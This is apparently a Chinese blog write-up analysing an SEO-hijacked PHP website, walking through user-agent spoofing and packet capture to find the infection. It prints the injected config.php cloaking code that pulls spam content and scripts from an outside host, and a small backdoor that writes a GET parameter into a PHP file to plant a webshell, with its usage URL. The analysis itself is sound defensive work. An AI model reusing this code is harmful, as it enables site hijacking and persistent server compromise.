劫与被劫的网站遇过不少,时隔一年左右今天偶然又遇到一位网友求助的网站劫持问题,因为这个问题我竟然没有直接分析出挂马方式,因为稍微有点特别今天想详细的给大家分解一下常规挂马方式与清理思路。

网站挂马劫持的必然性

一般情况下你的网站并不是被特地入侵的,一般出于报复专门入侵你的网站也不会明目张胆的来劫持。

所以一般网站劫持会被用来发布灰色广告,或者被用来做黑帽SEO。之所以你的网站被入侵,是挂马者使用批量getshell工具,根据某个漏洞来批量拿到具有相同漏洞的网站,然后再将相关劫持代码加入到你的网站程序中,而这一系列动作都是用工具批量完成。

其实在我看来,如果发现你的网站被挂马劫持,你其实可以乐观一点,起码你会知道你的网站存在严重的漏洞,却只是被工具劫持了,而不是被同行所利用,如果被专门的入侵者拿下,一般就不会简简单单的给你挂个马了,具体会严重的什么程度?这要看心情了,不开玩笑,而恰巧你又不太懂,如果木马隐藏的好,这匹马将伴随你终身,白头到老。

挂马症状

长话短说,一般你会在搜索结果搜索相关关键词,或者自己的网址,看到的标题可能不是自己的网站标题,点击进去可能会跳转到其他地方,或者进去后发现网站已物是人非。

如:

网站挂马劫持

本来是一个PS网站标题变成羞羞的内容,而内容已经不(wo)堪(hen)入(xi)目(huan)

网站挂马劫持

 劫持分析

这种情况很明显挂马脚本对user-agent进行了判断,如果user-agent是百度蜘蛛,那么将返回广告。

一般会在网站程序插入JS,或者在php或者其他程序中插入代码,如果是js,一般只要远程调用一个就可以实现劫持,插入代码量很少。

上面说到的这个凤楼……呸,是PS网我一开始习惯性的判断为js劫持。于是我往着错误的方向开始了分析之旅。

第一步:审核元素中查看网络连接

网站正常打开的时候先看看没有加载异常的脚本

网站挂马劫持

其中加载的js都打开简单看下没有发现异常的脚本,这时候就有点慌了啊,没有引入外部脚本,那就可能隐藏在现有的JS中,一般隐藏也是加密后的,比较难以发现,于是每个js文件按个检查一遍,依旧没有任何发现,虽然我JS毫无水平但是这么大个马还是不难判断的。

第二步:抓包分析

第一步没有直接分析出来,一般要么马隐藏的深,要么就是根本不是用的JS,那么需要抓包分析,怎么抓?这里就不说那么多了,可以在我以前的文章中找找。

先重现跳转的情景:

设置浏览器user-agent 为百度蜘蛛,这里我祭上一个超级好用的chrome插件

网站挂马劫持

先用burpsuite抓一下看看,不过要先配置下不过滤JS脚本,

网站挂马劫持

配置好代理,回车,走你

网站挂马劫持

get首页,肯定没毛病,forward一下,这一下就相当重要了,如果下一步抓到js,首页还没跳,说明js搞鬼,而真相就是……没抓到js,出来直接抓到一个html页面,这个页面却是404,然后篡改的首页直接蹦出来了!

网站挂马劫持

这说明?

说明程序直接在加载首页文件,也就是index.php的时候就开始捣鬼了。

至此可以判断为php挂马,在前端寻觅已经没有什么有用信息了。

第三步:找木马

这时候妹纸把网站程序源码包发过来了,ps:妹纸防备着呢,不给服务器权限,但是给了源码还是给了一切啊!虽然没有什么可利用的地方,但我起码知道里面绝对藏着shell呢!

一般挂马程序都是会直接把黑链代码插到index.php中,不会判断太多,这种情况出现在企业站中比较多,所以很自然的打开index.php,发现没有异常,也没有include异常php文件。

看到这里瞬间觉得这个套路还是有点深度的,起码没那么明显。

继续找加载的文件,这时候脑洞大开,直接去找数据库配置文件,然后就这么结束了这段捉马旅程,没错,马就在config.php文件中

<?php
if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER ["HTTP_USER_AGENT"])) {
$file = file_get_contents('http://z.sloufeng.com/jie/70.html');
echo $file;
exit;
}
if(stristr ($_SERVER['HTTP_REFERER'],"http://www.baidu.com")) {
echo "<script language='javascript' src='http://z.sloufeng.com/jc.js'></script><br/>";
exit;
}
?>

简单分析一下,这已经是最简单的劫持代码了,判断user-aget 如果是百度蜘蛛,把网页:http://z.sloufeng.com/jie/70.html内容输出,没错,这里面就是你想要的凤楼信息;然后判断referer是否为www.baidu.com,是的话加载下面的js,这个js里面又是一层判断,弹出其他页面,反正就是业务繁多,还有菠菜等页面。

其实我没有找太多相关的php文件,因为很明显这个马就是批量实现的,程序也不会智能的过分把马藏那么深,数据库文件肯定要加载的,结果就在里面,而且都没有加密,差评!

第四步:找shell

下面就是找shell了,我没有详细的去找,只是在同目录下发现一个后门,挺简单 的

<?php
$dq = fopen($_SERVER["DOCUMENT_ROOT"].'/config/jc.php','w+');
fwrite($dq,$_GET['msg']);
?>

www.xxx.com/config/file.php?msg=一句话木马

这样就将一句话写到该目录下jc.php

题外话:这个凤楼广告竟然没有放任何联系方式和网址!意义何在?差评!

先就这些吧